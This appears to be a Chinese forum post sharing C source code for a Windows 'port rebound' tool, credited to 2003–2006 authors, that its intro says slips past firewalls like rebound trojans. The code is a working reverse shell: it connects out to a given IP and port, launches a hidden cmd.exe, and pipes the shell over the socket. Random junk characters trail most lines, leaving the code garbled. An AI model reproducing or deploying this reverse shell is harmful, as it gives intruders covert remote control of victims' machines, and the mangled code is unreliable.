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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (S F1y/g@=  
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/* ============================== OV[`|<C '  
Rebound port in Windows NT -es"0wS<u  
By wind,2006/7 q#N R32byF  
===============================*/ aG! *WHt  
#include Ky kSFB  
#include xc;DdK=1X  
dQ9 ah  
#pragma comment(lib,"wsock32.lib") KCUU#t|8V\  
rB%y6P B  
void OutputShell(); |SQ|qbe=  
SOCKET sClient;  H4:ZTl_$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; < Dd%  
W"Q!|#;l.  
void main(int argc,char **argv) E-fr}R}  
{ n'K6vW3  
WSADATA stWsaData; FLZSK:3B]  
int nRet; J &YQ]l  
SOCKADDR_IN stSaiClient,stSaiServer; =g~W%})  
+tt9R_S  
if(argc != 3) zA s&%OjG  
{ A59gIp*>  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9tK>gwb  
return; KE.Dt  
} NZk&JND  
P~RhUKfd  
WSAStartup(MAKEWORD(2,2),&stWsaData); -7%X]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C>X|VP |C  
]^ K;goQv  
stSaiClient.sin_family = AF_INET; VFj(M j`}G  
stSaiClient.sin_port = htons(0); /0lC KU!=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S~)w\(r  
x<ax9{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M2@;RZ(|  
{ ?n]FNjd  
printf("Bind Socket Failed!\n"); |~K(F <;j  
return; oM,- VUr  
} 2z_2.0/3  
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stSaiServer.sin_family = AF_INET; XErUS80  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?Elg?)os  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V8PLFt;  
"DQ'C%sL9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^Ga&}-  
{ %=Tr^{ i  
printf("Connect Error!"); ;..o7I  
return; 1] #9  
} K |*5Kwi  
OutputShell(); 3yV'XxC  
} cozXb$bBY  
gU1#`r>[)  
void OutputShell() CO^Jz  
{ cCi I{  
char szBuff[1024]; >w|*ei:@S  
SECURITY_ATTRIBUTES stSecurityAttributes; @r;wobt  
OSVERSIONINFO stOsversionInfo; 0$HmY2 Men  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .DguR2KT  
STARTUPINFO stStartupInfo; 27D!'S  
char *szShell; _A+w#kiv>  
PROCESS_INFORMATION stProcessInformation; 4=[7Em?oLb  
unsigned long lBytesRead; x/mp=  
L{8;Ud_2r  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $_D6_|HK  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  HpW 42  
stSecurityAttributes.lpSecurityDescriptor = 0; SVWIEH0?  
stSecurityAttributes.bInheritHandle = TRUE; $t/rOo9cV  
bRo|uJ:d  
d]wD[]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 86qI   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u\1>gDI)|  
H!)=y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x_MJJ(q8g  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CN&  
stStartupInfo.wShowWindow = SW_HIDE; *>q/WLR  
stStartupInfo.hStdInput = hReadPipe; sZhM a>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^3]UZ@  
@;Opx."  
GetVersionEx(&stOsversionInfo); /)>S<X  
cYNV\b4-  
switch(stOsversionInfo.dwPlatformId) lr@#^  
{ 8g~EL{'  
case 1: q]% T:A=  
szShell = "command.com"; /rc%O*R  
break; 1(#;&:$`i  
default: d 8o53a]  
szShell = "cmd.exe"; -db75=  
break; \3XqHf3|o  
} > m q,}!n  
x/fX`y|(}*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;_?MX/w|&  
LnsD  
send(sClient,szMsg,77,0); sLL7]m}  
while(1) 'UU\4M  
{ _5Bcwa/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FMw&(  
if(lBytesRead) zaimGMJ ,  
{ 8wZf ]_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3ec`Wa  
send(sClient,szBuff,lBytesRead,0); TbvtqM 0  
} MGpt}|t-  
else #*%q'gyHT  
{ 4Xj4|Rw%  
lBytesRead=recv(sClient,szBuff,1024,0); p0:kz l4$  
if(lBytesRead<=0) break; ]T:;Vo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /=?x{(B>  
} ]< l6s  
} Z.PBu|Kx  
.Ajzr8P  
return; ?~e3 &ux  
}
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